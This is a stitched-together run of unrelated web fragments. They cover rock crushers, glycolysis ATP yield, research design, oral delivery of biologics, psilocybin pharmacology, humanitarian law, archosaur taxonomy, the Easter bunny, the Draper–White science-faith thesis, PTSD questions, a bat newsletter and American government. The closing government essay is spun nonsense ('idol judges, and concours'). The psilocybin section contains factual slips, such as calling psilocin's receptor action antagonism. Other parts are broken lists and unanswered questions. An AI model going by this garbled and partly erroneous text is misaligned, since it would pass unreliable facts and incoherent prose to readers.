There is hardly any effect that the gyratory crusher because of the liner wore to make the discharging ore increases little. Therefore, it is usually used to adjust the size of the outlet by moving the cone up or down. Cone crushers require the uniform size of ore discharge, and the scope of increasing the size of ore discharge is very small because of the wear of the lining plate. Because the ore discharge opening is frequently adjusted, the adjusting device is required to be easy to operate. For example, a spring cone crusher can adjust the height of the fixed cone to change the size of the outlet. It should be noted that since the introduction of hydraulic adjustment and hydraulic insurance, the adjustment mode of the gyratory crusher and cone crusher is not very different. Jaw Crusher VS Gyratory Crusher
Performance Different
1. The rotating speed of the movable cone of the gyratory crusher is low, the stroke is small. And the ore is mainly crushed and broken and bent. The cone crusher has 2.5 times higher rotating speed and 4 times larger swinging angle than the gyratory crusher, so the ore is impacted quickly. Therefore, it is advantageous to the ore crushing, the crushing efficiency is high.
The cone crusher has the characteristics of high efficiency, high crushing ratio, low power consumption, and uniform product. So, since the end of the last century, it has been widely used in the world. And the crushers are constantly improvement and perfection on its itself structure. Cone crusher is suitable for medium and fine crushing of materials of various hardness.
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calculate the number of ATP molecules synthesized in glycolysis by the partial oxidation of one molecule of glucose
During glycolysis, two molecules of ATP are consumed during double phosphorylation of glucose to form fructose 1,6 biphosphate. In return four molecules of ATP are formed during conversion of 1,3-biphosphoglycerate to 3-phosphoglycerate and phosphoenolpyruvate to pyruvate. Two molecules of NADH are formed at the end of oxidation of glyceraldehyde 3-phosphate to 1,3-biphopshoglycerate. Each NADH molecule produces 3 ATP molecules.
Hence, total number of ATP molecules formed = 4-2+6 = 8
• 2
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Research Design
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Research Design by Mind Map: Research Design
1. Survey
1.1. Standardized instrument/data, descriptive purpose
2. Action Research
2.1. Takes certain actions within the organization, participation is important.
3. Experimental
3.1. Cause - effect, control condition vs experimental condition
4. Comparative
4.1. Comparison between groups - descriptive
5. Case Study
5.1. Exploratory and qualitative, studies a particular organization, the results are not generalized.
6. Observational
6.1. Collect data by observing and analyzing can be descriptive, exploratory and explanaroty
7. Mixed-Method
7.1. Data collection methods and research designs are combined depedning on the necessities. |
Mitigating the Challenges of Oral Administration of Biologics
The number of physiological barriers present in the gastrointestinal tract is a major challenge that must be surmounted in other to achieve clinically relevant oral biologics delivery. A step in this direction includes recent advances in the design of drugs that make oral biologics possible.
Oral administration accrues the benefits of simplicity and familiarity when oral drugs are administered to patients making it the most preferred route. Early on the knowledge of medicines is described and represented through the oral route it is the first route of administration everyone encounters. The ease of access is also a concern when factors such as size, shape, surface and texture are considered. Solid oral presentations are more convenient for most patients making them particularly valuable especially when the target site is the gastrointestinal tract (GIT). The oral route is the best for making delivery in such treatment.
The gastrointestinal system of humans is highly evolved in mechanisms to enable break down of molecules of all sizes and absorption possible. Biologics are a group of large complex molecules that depend on their structure to engage with targets in other to achieve their therapeutic purpose. Administration of this molecule through the GI a system that functions to destroy it results in a significant number of challenges that must be overcome.
Protection of the molecule from breakdown is the first step required to ensure its purpose is achieved. This is because the GI tract contains a number of acids and enzymes for breaking down molecules. Next is the transport of these large molecules through the multiple layers of mucous and cells that line the GI tract in other to achieve systemic distribution of the molecule. An easier challenge is if the target of the molecule is the GI tract. The location of absorption is the last essential challenge that must be overcome and is more challenging depending on the nature of the protective mechanisms of the molecule.
Systematic bioavailability of a biologic administered orally is lesser compared to biologics administered through intravenous or subcutaneous routes. It is confirmed that less than 10 percent of orally administered those is systematically available. This however is because of the challenges outlined earlier which are absent in intravenous and subcutaneous administration. Improving bioavailability for oral biologics is of utmost importance and therefore great focus is on achieving this goal.
The concentration of a drug is maintained within the body until it makes impact on its target, the time required for this is termed as the half-life of the drug. Molecular structure, route of administration and duration over which the drug is administered can all play a significant impact in the clearance time. Essentially, a molecule ought to remain at a therapeutically relevant concentration at the target site for as long as necessary, this allows for optimum functioning leading to high quality results with limited dosing. Although certain instances require longer doses but the fewer the dosing and length of treatment the better. A number of instances to impact on the half-life of a drug do exist, one of such is in the molecular structure of the drug another instance is addition of excipients that delay its clearance time. This could be a molecule that binds to the drug and protects it from clearance examples include materials that transform from liquids to gels on entry into the body.
The rate of administration is another method to control the clearance of a drug. This may adopt formulation methods that slowly eliminate the drug or dissolve it over time or it might be a molecule that slowly releases the drug over longer time frames. The low bioavailability of biologics administered orally means a lower amount of drug gets into the system compared with other routes of administration. This means that whatever drug gets into systemic circulation is highly valuable and must be prevented from rapid clearance. Therapeutic bioavailability is the major focus of current research into orally administered biologics.
The molecules that are stable to enzymatic degradation, enteric coatings that protect the active ingredient and time the release of the payload and small molecule excipients that enhance the permeation of the drug through the mucus and epithelial layers of the GI system are the most commonly adopted approaches to address the barrier problems facing orally administered biologics. These approaches have been used both individually and in combination in hopes of protecting the biologic molecule and allowing it to pass into the circulatory or endocrine system.
There’s been poor improvement to develop and advance the bioavailability of orally administered biologics even though the science of these approaches has evolved over the past several decades. As a result, many studies are now looking into alternative approaches. One method is the use of mechanical penetration enhancers rather than chemicals example is the use of syringes to deliver biologics, it may be possible to adopt this method in the administration of oral biologics. Pre-clinical models for delivery of tiny arrays of needles within capsules have been proposed and demonstrated by several groups. Other methods include jet injectors that can force the liquid drug through the GI tissue without the use of a needle. These systems can become complex and there is still a lot to demonstrate. One particular focus of interest is in the method of infestation of certain pathogens and how they are able to survive these harsh conditions before successfully infecting the host. Understanding this approach may provide new ideas on method of delivery.
The development of dosage forms that optimize patient convenience while also ensuring successful delivery with the most efficient therapeutic outcome. Large molecules present the highest challenges of oral delivery. Addressing GI targets directly is a major concern as this will improve treatment of diseases that directly infect the GI as well as systemically. The aim of this is to maximize the therapeutic benefits while minimizing the systemic side-effects all in stable dosage form convenient for patients.
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Psilocybin Pharmacology.
The primary psychoactive active compounds produced by the psilocybin mushroom are psilocybin and psilocin. It also produces other hallucinogenic indole compounds baeocystin, norbaeocystin, bufotenein, and aruginasin synthesized in lower concentrations. These compounds are synthesized by both the fruiting body (mushroom) and mycelium of the Psilocybe fungus, though much more prolifically by the fruiting body. Psilocybin is a naturally occurring active prodrug, a compound that after ingestion is metabolized into a pharmacologically active drug).
Psychoactive compounds in Psilocybe Mushrooms
Psilocybin's natural process of synthesis
Contrary to popular belief, the compound responsible for the mind-altering effects of Psilocybe mushrooms is not psilocybin itself, but psilocin. Studies show that psilocin concentrations in the blood plasma of about 4-6 µg/liter or greater produce psychological effects. After ingestion the majority of psilocybin is quickly metabolized in the liver through the action of enzymes called alkaline phosphatases. These enzymes dephosphorylate psilocybin into psilocin.
As psilocybin is converted into psilocin, it undergoes a first pass effect, where its concentration is reduced before it reaches the circulatory system. Psilocin is broken down by the enzyme monoamine oxidase to produce several metabolites, including 4-hydroxyindole-3-acetaldehyde, 4-hydroxytryptophol, and 4-hydroxyindole-3-acetic acid. These metabolites are able circulate in the blood plasma. Any psilocin that isn't broken down is formed into a glucuronide, a biochemical mechanism animals use to eliminate toxic substances by linking them with glucuronic acid, which can be excreted in the urine.
Aproximately 50% of psilocybin is absorbed through the stomach and intestines. Within 24 hours, about 65% of the absorbed psilocybin is excreted in the urine, and a further 15-20% is excreted in the bile and feces. Most of the drug is eliminated this way within 48 hours, however it is still detectable in urine for ~ 7 days.
Similarity between Psilocybin and Serotonin
Psilocybin's metabolic process
Psilocin’s molecular structure is very similar to the structure of the neurotransmitter serotonin. Psilocin imitates serotonin, and readily binds with three specific 5-hydroxytryptamine (5HT) receptors, the 5-HT, 5-HT2B and 5-HT2C receptors, with a slightly lower affinity for the 5-HT1A receptor.
Serotonin is a key neuromodulator whose biological function is complex and multifaceted, modulating cognition, reward, learning, memory, mood, anxiety, sleep, appetite, temperature, eating behaviour, sexual behaviour, movements, gastrointestinal motility and numerous physiological processes such as vomiting and vasoconstriction. Unnatural serotonin levels are also thought to be responsible for a number of psychological conditions, including depression, addiction, and anxiety.
The serotonergic system is composed of receptors in many regions of the brain, with the most dense concentration in the cerebral cortex. At rest, serotonin is stored within the vesicles of presynaptic neurons. When stimulated by nerve impulses, serotonin is released as a neurotransmitter into the synapse, reversibly binding to the postsynaptic receptor to induce a nerve impulse on the postsynaptic neuron
When Psilocin binds to a 5HT receptor it stimulates neurogenesis through the increased production of Glutamate and Brain derived Neutrophic Factor (BDNF).
In addition to this antagonization of the 5HT receptor by psilocin also drastically changes the layout of brain networks and signal transmission, connecting area's of the brain that do not communicate in the "sober" or "resting" state of consciousness. This is postulated to be what is responsible for the syesnthesia (mixing of the senses) reported as an effect of psilocybin. While stimulating and enhancing connectivity in many regions of the brain, psilocybin also down regulates activity in certain networks of the brain, specifically the Default Mode Network (DMN).
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User Forum
Subject :NSO Class : Class 6
Refer to the given figure. Identify P, Q, R and S and select the correct option regarding them.
AQ controls hormone production, behaviour and body temperature.
BP regulates heart beat and blood circulation.
CR controls musculo-skeletal movements and maintains balance and posture.
DS relays information between spinal cord and brain.
Ans 1: (Master Answer)
Class : Class 1
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Are we obeying International Humanitarian law?
“Charity is incumbent on each person every day. It is acting justly between two persons, saying a good wood, every step you take to do the prayer, removing a harmful thing, and showing the way”. (The Holy Prophet PBUH)
International humanitarian law forms a major part of public international law an comprises the rules which in times of armed conflict seek to protect people who are not or are no longer taking part in the hostilities and to restrict the methods and means of warfare employed. The expressions, international humanitarian law, law of armed conflicts or law of war, may be regarded as equivalents. International organizations, universities and ever states tend to favour international humanitarian law, whereas the other two expressions are more commonly used by the armed forces.
International humanitarian law, the law of armed conflict or law of war are combination of two types of law. First one is the “Law of Geneva” which is designed to safeguard military personnel who are no longer taking part in the fighting and people not actively involved in hostilities like civilians. Second one is the “Law of Hogue” which establishes the rights and obligations of belligerents in the conduct of military operations and limits the means of harming the enemy.
The both types of international humanitarian law draw their names from the cities where each was initially codified. With the adoption of the additional protocols of 1977 which combine both branches (types) that distinction is now merely have historical perspectives. International humanitarian law can be classify or rank in various branches like: Refugee law, Human Rights Law, Law governing the peaceful settlement of conflicts, Maritime law, Environmental Law and law governing diplomatic relations. These were the few well known branches, there are many others as well.
We are discussing the definition, branch and the laws on which international humanitarian law is based but the more important thing is the reason or circumstances behind the establishment of international humanitarian law. History witness that there were rules based on customs that regulated armed conflict, then bilateral treaties drafted in varying degree of detail gradually came into force. The belligerents sometimes ratified them after the fighting was over. There were also regulations which states issued to their troops. The law then applicable in armed conflicts was thus limited in both time and space in that it was valid for only one battle or specific conflict. All these reasons led to the formation of a Humanitarian law.
The purpose of international humanitarian law is to limit the suffering caused by war, protecting and assisting its victims as for possible. It regulates only those aspects of the conflict which are of humanitarian concern.
At the end of 2003, almost all the world’s states to be precise were party to Geneva conventions means were bound to follow the rules of international humanitarian law.
There may raise a question that many of the people from civil society talks about human rights, so what is this humanitarian law to cope with? Actually both are complementary as to protect lives, Health, and dignity of individuals but Humanitarian law applies in situations of armed conflicts whereas human rights or at least some of them protect the individuals at all times. There may be many other laws to protect humanity among countries internally but the real thing is the implementation element whether they are human rights or Humanitarian law.
If we look into the past the first world war witnessed the use of methods of warfare which were not completely new and were deployed on an unprecedented scale. The second world war (1939-1945) saw civilians and military personnel killed in equal numbers as against a ratio of 1:10 in the first world war.
Presently we see the pathetic condition in Afghanistan, IRAQ, Palestine, Libya , Indian occupied Kashmir and many other countries but the common thing which can be clearly observed is the Islamic aspect as the violations are just been practiced in Islamic countries. In some cases the internal elements of a country are the reasons for this violation, most commonly in the countries which are under this new trend of “Democratic Revolution”, But the countries like, IRAQ, Afghanistan, Kashmir, Palestine are facing the prejudice behaviour by those who rank themselves as the most civilised people.
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Also found in: Thesaurus, Encyclopedia.
ThesaurusAntonymsRelated WordsSynonymsLegend:
Noun1.Archosauria - a large subclass of diapsid reptiles including: crocodilesArchosauria - a large subclass of diapsid reptiles including: crocodiles; alligators; dinosaurs; pterosaurs; plesiosaurs; ichthyosaurs; thecodonts
class Reptilia, Reptilia - class of cold-blooded air-breathing vertebrates with completely ossified skeleton and a body usually covered with scales or horny plates; once the dominant land animals
archosaur, archosaurian, archosaurian reptile - extinct reptiles including: dinosaurs; plesiosaurs; pterosaurs; ichthyosaurs; thecodonts
genus Saurosuchus, Saurosuchus - early archosaurian carnivore
genus Proterochampsa, Proterochampsa - early archosaurian carnivore
Crocodilia, Crocodylia, order Crocodilia, order Crocodylia - crocodiles; alligators; caimans; gavials
order Ornithischia, Ornithischia - extinct terrestrial reptiles having bird-like pelvises: armored dinosaurs (thyreophorans); boneheaded and horned dinosaurs (marginocephalians); duck-billed dinosaurs (euronithopods)
order Saurischia, Saurischia - extinct terrestrial reptiles: theropods (carnivorous); sauropods (herbivorous)
order Pterosauria, Pterosauria - extinct flying reptiles: pterosaurs
order Thecodontia, Thecodontia - extinct terrestrial reptiles having teeth set in sockets; of the late Permian to Triassic
Ichthyosauria, order Ichthyosauria - extinct marine reptiles: ichthyosaurs
order Sauropterygia, Sauropterygia - extinct marine reptiles: plesiosaurs; nothosaurs
References in periodicals archive ?
Saraiva et al., "Spectroscopic analysis of a theropod dinosaur (Reptilia, Archosauria) from the Ipubi formation, Araripe Basin, Northeastern Brazil," Journal of Spectroscopy, vol.
(1995): Preliminary results of a phylogenetic analysis of the Pterosauria (Diapsida: Archosauria).
Phytosaurs were long considered early crocodile-line archosaurs but Nesbitt (2011) recently placed them outside crown-group Archosauria. |
History of the Easter Bunny
posted in: Holidays | 0
The Easter bunny is a popular Easter figure.
The Easter bunny is usually depicted as a rabbit who brings Easter eggs to children.
The idea of the Easter bunny originated with German Lutherans who was known as the “Easter Hare”.
The original role of the Easter Hare was to evaluate whether children had been good or bad at the start of the Eastertide {or Easter season}.
The hare was a popular motif in the church art of the Medieval Church.
Both rabbits, birds and eggs are fertility symbols of antiquity.
Often it was custom to refrain from eating eggs during Lent. The only way to keep them from being wasted was to boil or roast them. Dying eyes with certain flowers led to them changing colors, which is how the idea of dying eggs originated.
The custom of the Easter bunny and Easter eggs was first mentioned in 1682 in Georg Franck von Franckenau’s book De ovis paschalibus {About Easter Eggs}.
Sometimes the Easter bunny is depicted as wearing clothes and other times as looking like a rabbit.
As German immigrants arrived in the United States, they told their children stories of the Osterhase and the idea of an egg giving bunny had developed in the United States before the end of the 18th Century.
What does the Easter bunny bring you?
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The Faith-Science "War" Debunked
The conflict or warfare model of science and religion says that scientific inquiry and religious faith, particularly the Catholic faith, have been intractably opposed to each other throughout history. According to this model, there is no possibility of harmony between science and faith, because they are rival ways of explaining the universe, with the proponents of each fighting each other for supremacy. This has become a deeply rooted assumption in the minds of many Americans, and recent research reveals that the perspective of many young Catholics in America today has been shaped by it --- indeed, as many as 70% of Catholic “emerging adults,” according to sociologist Christian Smith.
In Part I of this article, I will examine the origins of the conflict model, including the historical context and the specific persons and events that gave rise to it. This will give some insight into why these ideas, though false, were found so persuasive when first proposed and achieved the enormous influence that persists to this day.
In Part II, I will show that the Catholic Church’s theological tradition, as embodied in a number of great thinkers, reveals a very different approach to the relation of science and faith than suggested by the conflict model, and that this tradition contains important principles that can guide us today in presenting the gospel to a culture that is increasingly shaped by science.
Part I. Origins of the Conflict Model
The conflict model of science and faith can be traced to the late 19th century and the work of two American authors, whose historical claims were discredited both then and repeatedly since by serious historians. One of them was a scientist and popular history writer named John William Draper, and the other a historian named Andrew Dickson White. It is no exaggeration to say that these two men together invented the model, which so many today still accept as unquestionable. In fact, it is often simply called the Draper and White Conflict Thesis by historians. To understand its origins, we have to go back several centuries and recognize three trends, two intellectual and one sociocultural, that set the stage for the success of Draper and White.
The first intellectual development, which goes back to the 17th century, was a suspicion of any Christian doctrines other than moral teachings. Terms such as “dogma,” “divine mystery,” and “articles of faith” began to be used pejoratively to imply foolishness and fear of progress --- and even religious deception. This is best captured in a letter that Thomas Jefferson wrote in 1816 to his friend, the Dutch minister Adrian van der Kemp, about the dogma of the Trinity: “Ridicule,” he wrote, “is the only weapon which can be used against unintelligible propositions. Ideas must be distinct before reason can act upon them; and no man ever had a distinct idea of the trinity. It is the mere Abracadabra of the [tricksters] calling themselves the priests of Jesus.” 1
By the late nineteenth century, dogmas had begun to be seen by many as anti-rational, the products of blind, dangerous faith. Many thought that science should replace dogmas through a crusade to rescue religion from irrational ideas. Lost to view was the recognition that Christian dogmas can be rational, even though they relate to realities that are by their nature not fully comprehensible by the human mind, concerning as they do the self-revelation of God rather than facts about the physical universe and its laws.
The second intellectual trend took place in the 19th century and was much more positive. The various fields which we now call “science,” such as physics, chemistry, biology, etc., were becoming professionalized, taking on a whole new level of respectability and exciting popular enthusiasm through the new knowledge and industrial and medical benefits they were producing. For science, it was one of the best of times. This was the age of Lyell’s geology giving the first glimpse of the ancient age of the earth, of Pasteur’s germ theory, and above all of Darwin’s Origin of Species. As a result, science as we define it today began to stand out as a specific and separate pursuit. This even led to a change in vocabulary. Before the nineteenth century, the word “science” (from Latin “scientia” meaning “knowledge”) referred to any knowledge demonstrated logically, including theological knowledge. The words “philosophy” and “science” were often treated as synonyms, as in the title of a book published in 1821: Elements of the Philosophy of Plants Containing the Scientific Principles of Botany. But by the late nineteenth century the terms “science” and “scientific method” began to be associated exclusively with the study of the physical universe through observation and experiment. This change in perception added new words to the English vocabulary, terms such as “scientist” and “physicist,” which were coined in 1833 by the Anglican theologian and natural philosopher William Whewell (1794-1866).2 Sadly, the restriction of the science “word family” to one kind of human knowledge left open the possibility that other areas of knowledge such as philosophy, art, morality, poetry and theology could be considered as unfruitful, subjective flights of fancy by comparison.
The third trend, Anglo-American in its roots, was sociocultural: the rise of anti-Catholic prejudice, even mania, in the United States as a response to the large influx of Irish and other Catholic immigrants that began in the mid-1840’s. From the perspective of the Catholic Church in America, the mid-to-late-19th century was one of the worst of times, and the decade of the 1870’s marked a high-point of anti-Catholic prejudice. The American bishops were seeking tax exempt status for tuition at Catholic schools, and the battle was fierce. In 1871, in Harper’s Weekly, the famous political cartoonist Thomas Nast published what many regard as one of his most powerful images, “The American River Ganges.” The image shows a Protestant public school teacher, with a Bible tucked in his waistcoat, shielding a group of young children from menacing crocodiles, who are creeping up the shore in order to devour them. When the crocodiles are viewed closely, one realizes that their jaws are ornate, jewel-encrusted miters, and that the predators are actually Irish Catholic bishops. On the cliff, the New York politician William Tweed, aka Boss Tweed, and his cohorts are handing children down to be devoured. Behind him there is a gallows and Lady Liberty is being led away to be hanged. Across the water is what looks like St. Peter’s Basilica, but the name inscribed on it is Tammany Hall, the Democratic Party political machine run by Boss Tweed. Over the colonnade of the basilica can be seen the words “The Political Roman Catholic School.” The U.S. Public School in the foreground is crumbling.
The majority of Catholic immigrants were poor and illiterate, which gave their religion an air of ignorance and superstition to non-Catholics. A largely successful attempt to forbid public aid to Catholic schools drew upon these prejudices and upon fears that Catholics secretly wanted to bring the entire nation under the political control of the pope by corrupting education. A bias against the possibility of Catholics being open to the progress of knowledge ruled the day.
Science was identified with Progress, and Catholicism with backwardness. Science brought knowledge, whereas Catholicism with its dogmas and mysteries was seen as fostering ignorance. This was the soil in which false claims about the history of the Church and science could take root and flourish, and such claims were not long in coming.
In 1874, John William Draper (1811-1882), a successful American chemist and early innovator of photography, published his book entitled History of the Conflict between Religion and Science. He begins by making a generalized judgment: “The history of Science is not a mere record of isolated discoveries; it is a narrative of the conflict of two contending powers, the expansive force of the human intellect on one side, and the compression arising from [traditional] faith.” 3 Shortly after this declaration, he qualifies it by proclaiming the innocence of Protestant and Eastern Orthodox Christians, who he claims have never opposed the advancement of knowledge and have always had “a reverential attitude to truth, from whatever quarter it might come.” He later refers to Protestantism as the “twin-sister” of science. The true religious enemy of science is the Roman Catholic Church, which he indicts for rejecting science and using violent means to maintain power over its adherents with the long-term goal of gaining total political supremacy over all peoples:
In speaking of Christianity [in this book], reference is generally made to the Roman Church --- none of the Protestant Churches has ever occupied a position so imperious --- none has ever had such widespread political influence ... . But in the Vatican --- we have only to recall the Inquisition --- the hands that are now raised in appeals to the Most Merciful are crimsoned. They have been steeped in blood! 4
Throughout the rest of the book, Draper alleges conflict after conflict between the Catholic Church and science while offering little or no evidence. He makes up details and presents them as facts. He rearranges sequences of events in order to support his position. He selects quotes that seem to support his case and fails to give the context, even leaving out parts of quoted statements that call into question his interpretation of them.
To take a typical instance, Draper condemns St. Augustine (354-430) for teaching that the sky is stretched out like a flat skin over a flat earth. Actually, St. Augustine quotes Psalm 104:2 (“Lord my God, you are great indeed ... you stretched out the sky like a skin”) in order to demonstrate his principle that the Bible must be read figuratively, not literally, in its depictions of natural phenomena. He actually affirms the very position Draper accuses him of rejecting: “rational arguments,” St. Augustine concludes, “inform us that the sky has the shape of a hollow globe all round us.” 5
Draper ends the book with his own prophecy of doom for religion and victory for science:
As to the issue of the coming conflict, can anyone doubt? Whatever is resting on fiction and fraud will be overthrown. Institutions that organize impostures and spread delusions must show what right they have to exist. Faith must render an account of herself to Reason. Mysteries must give place to facts. Religion must relinquish that imperious, that domineering position which she has so long maintained against Science.6
Despite his fury and contempt for religion, especially Catholicism, or more likely because of it, Draper’s book was an instant success. The Conflict outsold every other book in the series in which it was included. Since then it has been reprinted 50 times and has been translated into ten languages. Even today, it remains readily available.
Numerous critics emerged to respond to Draper’s work, including Orestes Brownson, the celebrated intellectual and Catholic convert. A common theme of their criticisms was that The Conflict seemed to be written with the primary aim of achieving best-seller status rather than historical accuracy. In the May 23, 1875 issue of the San Francisco newspaper The Daily Alta California, one reviewer put it this way: “He may be a rhapsodist, but he is no historian. He is neither unprejudiced nor painstaking. If he investigate(d) authorities, he does not dare to cite them to sustain his ballooning [allegations]. His book is an immense pretension.” The anonymous author of this review knew that the facts of history were often the opposite of what Draper claimed and he showed that Draper was not invincibly ignorant but could have known better had he done any serious research. He corrected Draper on three claims. First, he noted that the murder of the philosopher Hypatia by a mob in Alexandria, Egypt, in 413 AD was not animated by Christian fear and envy of her skill in mathematics and science but by politics. Second, he noted that Giordano Bruno was executed by the Roman Inquisition not for his belief in a plurality of worlds and a heaven filled with “space and stars,” as Draper claimed,7 but for theological heresies. And, third, he pointed out that Galileo’s condemnation had more to do with his recklessness and lack of discretion than an entrenched ecclesiastical or theological antagonism toward cosmologies that “threatened” the assertions of the Bible. And these criticisms by Draper’s contemporaries were not wrong. Historians of science today dismiss Draper’s book as an exercise in propaganda rather than scholarship.8
Andrew Dickson White (1832-1918) was an American historian, who in 1865 co-founded Cornell University, the first purely secular institution of higher learning in the United States. This led to strong criticism of him for separating learning from religion --- criticism that came mostly from competitors at Protestant institutions of higher education. In response, White decided to write a book showing that both religion and science would be better off once “dogmatic theology,” a subject not included in the curriculum at Cornell, was fully overcome. “I will give them a lesson which they will remember,” he wrote to his friend Ezra Cornell in 1869.9
White delivered this “lesson” to his opponents over the next 27 years, during which he published 27 articles, which he finally brought together iin 1896 in a two-volume work called History of the Warfare of Science with Theology in Christendom. He begins the book by praising Draper for “his work of great ability” and then goes on to repeat many of Draper’s errors, including one that is widely believed to this day: the flat-earth “dogma.” White claims that until Christopher Columbus’s time the majority of Christian thinkers had insisted on biblical grounds that the earth was flat, and that the flatness of the earth was practically a dogma of the Church. In reality, only two Christian authors of record, the early Christian writer Lactantius and the relatively obscure 6th-century Greek traveler and monk Cosmas Indicopleustes, had ever argued that the earth was flat. Whereas, by contrast, St. Augustine, St. Jerome, St. Ambrose, St. Albert the Great and many other ancient and medieval Christian theologians testified to the rotundity of the earth, as did such major popular writers as Dante and Chaucer. In fact, St. Thomas Aquinas, in the very first article of the first question of the first book of his enormous Summa Theologiae says, “Sciences are differentiated according to the various means through which knowledge is obtained. For the astronomer and the natural philosopher both may prove the same conclusion, for instance that the earth is round, [but they do so in different ways].” 10
Despite this mountain of evidence, White portrays the entire Christian tradition as committed to a flat earth and presents Lactantius and Cosmas as typical. To add a touch of drama, he adopts Washington Irving’s fictional account of Christopher Columbus struggling unsuccessfully to convince Catholic priests and professors that the earth is spherical at the University of Salamanca in 1487:
The warfare of Columbus the world knows well, … how sundry wise men of Spain confronted him with the usual quotations from the Psalms, from St. Paul, and from St. Augustine; how, even after he was triumphant, and after his voyage had greatly strengthened the theory of the earth’s sphericity … the Church by its highest authority solemnly stumbled and persisted in going astray.11
Had White done his homework, he would have discovered that all parties at Salamanca agreed with Columbus that the earth is spherical. What they debated was not the shape of the earth but its size. Columbus thought the earth small enough that he could reach Asia with sufficient supplies, while his opponents very well knew that it was much larger than that (and their estimates of the earth’s circumference were quite accurate). What neither side could know was that between Europe and Asia lay the Americas --- luckily for Columbus,
The “one-two punch” of Draper’s and White’s books has had a remarkable, long-lasting effect on popular opinion. Appealing to the prejudices of their day and riding the wave of enthusiasm for scientific progress, they created the very conflict they claimed to resolve. The errors and misrepresentations they foisted upon their readers are now routinely repeated as historical facts by non-historians and have been given new life in the work of science popularizers such as Neil DeGrasse Tyson, who in his 2014 TV series Cosmos adopted Draper’s account of the execution of Giordano Bruno. The flat-earth “dogma” idea is now so widespread that many have been taught it in elementary school. In 2012, even U.S. President Barack Obama repeated it in a jibe against political opponents: “If some of these folks were around when Columbus set sail, they probably would have been founding members of the Flat Earth Society. They would not have believed that the world was round.”
If Draper and White created the completely false story that Catholic Church has been hostile to science, what is the true story? How have the Church and her theologians understood the relation of science and faith? That is the subject of Part II of this article. [Part II will appear here next month.]
[Prof. Christopher T. Baglow is a theologian at the University of Notre Dame and the author of the first textbook on science and religion for use in Catholic schools: Faith, Science and Reason: Theology on the Cutting Edge, 2nd edition (Midwest Theological Forum, 2019). He also serves as Liaison on the Executive Board of the Society of Catholic Scientists.]
1… Thomas Jefferson, “Letter to Francis Adrian Van der Kemp,” 30 July 1816,
2… Sydney Ross, “Scientist: the story of a word,” Annals of Science 18:2 (1962): 71-72.
3… John William Draper, History of the Conflict between Religion and Science, Vol. XII, The International Scientific Series (New York: D. Appleton, 1874), vi.
4… Ibid., x-xi.
5… St. Augustine, De Genesi ad Litteram, Book II.21.
6… Draper, 367.
7… Ibid., 179.
8… See Galileo Goes to Jail and Other Myths of Science and Religion, a collection of essays by noted experts published in 2009, which includes discussions of several of the historical myths invented by Draper.
9… Andrew Dickson White, “Letter to Ezra Cornell,” 3 August 1869, as quoted in James R. Moore, The Post-Darwinian Controversies: A Study of the Protestant Struggle to Come to Terms with Darwin in Great Britain and America (Cambridge: Cambridge University Press, 1979), 35.
10… St. Thomas Aquinas, Summa Theologiae I.1.1 ad 2.
11… Andrew Dickson White, History of the Warfare of Science with Religion, Vol. I (New York: D. Appleton, 1894), 48. |
How Do I Know If I Have PTSD Triggers?
What are examples of triggers?
What are psychological triggers?
What are the four types of PTSD?
What does PTSD do to a person?
How do you identify trauma triggers?
In response to the trigger grid, adolescents typically identify a number of trauma-related triggers, including, for example,interpersonal conflict.sexual situations or stimuli.angry people.intoxicated people.perceived narcissism.seemingly arbitrary criticism or accusations.rejection.perceived abandonment.More items…•
What does a PTSD episode look like?
What are the 5 signs of PTSD?
PTSD: 5 signs you need to knowA life threatening event. This includes a perceived-to-be life threatening event. … Internal reminders of the event. These symptoms typically present as nightmares or flashbacks. … Avoidance of external reminders. … Altered anxiety state. … Changes in mood or thinking.
What happens if PTSD is left untreated?
What are the 17 symptoms of PTSD?
What are PTSD triggers?
What are the 3 types of trauma?
What is trauma?Acute trauma: This results from a single stressful or dangerous event.Chronic trauma: This results from repeated and prolonged exposure to highly stressful events. Examples include cases of child abuse, bullying, or domestic violence.Complex trauma: This results from exposure to multiple traumatic events.
Does PTSD ever fully go away?
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Bat Monday / Lundi des Chauve-souris 27 May 2019
This is your weekly Bat Monday, brought to you by the national white-nose syndrome coordinator. Bat Monday compiles the latest on bat and white-nose syndrome related news articles, scientific publications, videos, and other resources. The content below is provided in its original language.
Voici votre lundi des chauve-souris hebdomadaire, une courtoisie du coordinateur national du Syndrome du museau blanc. Le lundi des chauve-souris compile les informations les plus récentes sur les chauve-souris et le syndrome du museau blanc, telles que nouvelles, articles, publications scientifiques, vidéos, et autres ressources. Le contenu suivant est disponible dans sa langue originale.
1. Publication: Identifying Common Decision Problem Elements for the Management of Emerging Fungal Diseases of Wildlife 2. Publications: Variation in the number of hibernating cave myotis (Myotis velifer) in western Oklahoma and northwest Texas caves prior to the arrival of white-nose syndrome 3. Publication: White-nose syndrome: A fungal disease of North American hibernating bats 4. Thesis: Discovery of anti-fungal compounds from the immunobiome of North American bat species threatened by fungal infection with Pseudogymnoascus destructans 5. Thesis: Implementing the North American Bat Monitoring Program in Nebraska: An Assessment of Nebraska Bats with an Emphasis on Citizen Science 6. Article: Volunteers needed to help count bats, training available 7. Article: Pinery protecting ecosystem one bat at a time 8. Article: Waterton group receives grant to start new bat stewardship program 9. Article: Trying to keep bats flying in the face of an epidemic 10. Article: Bats being wiped out in PA causing more bugs in your backyard 11. Article: Fungus causing syndrome in bats continues to spread 12. Article: Popular cave to reopen Friday on Okanogan-Wenatchee National Forest 13. Article: Fruit bats trade food for sex, study finds 14. Interview: Vaccination May Help Bats Resist Killer Fungal Disease, Early Research Shows 15. Video: Bat Swabbing at Northwest Trek 16. Acoustic training: Saskatoon Comprehensive Bat Acoustics Course 17. Webinar: Understanding and managing white nose syndrome in North American bats
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American government structure and foundation into
Category: Essay,
Published: 06.12.2019 | Words: 1675 | Views: 326
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American Government Composition and Foundation” to a number of new people, what would you say?
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Everyone should be open.
I want one to know that it just doesn’t get any better than this. In everything I say today, you are notice several really adverse things. But every time you think I’m stressing, keep in mind that I understand – it just doesn’t obtain any better than this. America has the most detrimental form of govt imaginable, except for every other kind of government around.
Let me tell you a couple of secrets regarding American Authorities Structure and Foundation. Officially, it’s a republic. That means those get to choose representatives who also they trust to govern them, and the ones rulers happen to be subject to various other external checks and balances such as idol judges, and concours and so forth. The external bank checks serve to safeguard the privileges of the individual through the tyranny with the majority, and representation serves to protect the rights from the majority from the tyranny of the individual. In theory, everybody’s rights are equally safeguarded, and representatives are chosen whose pursuits and decisions reflect the interest and decisions of the vast majority. The greatest power of the American Government is within its theory.
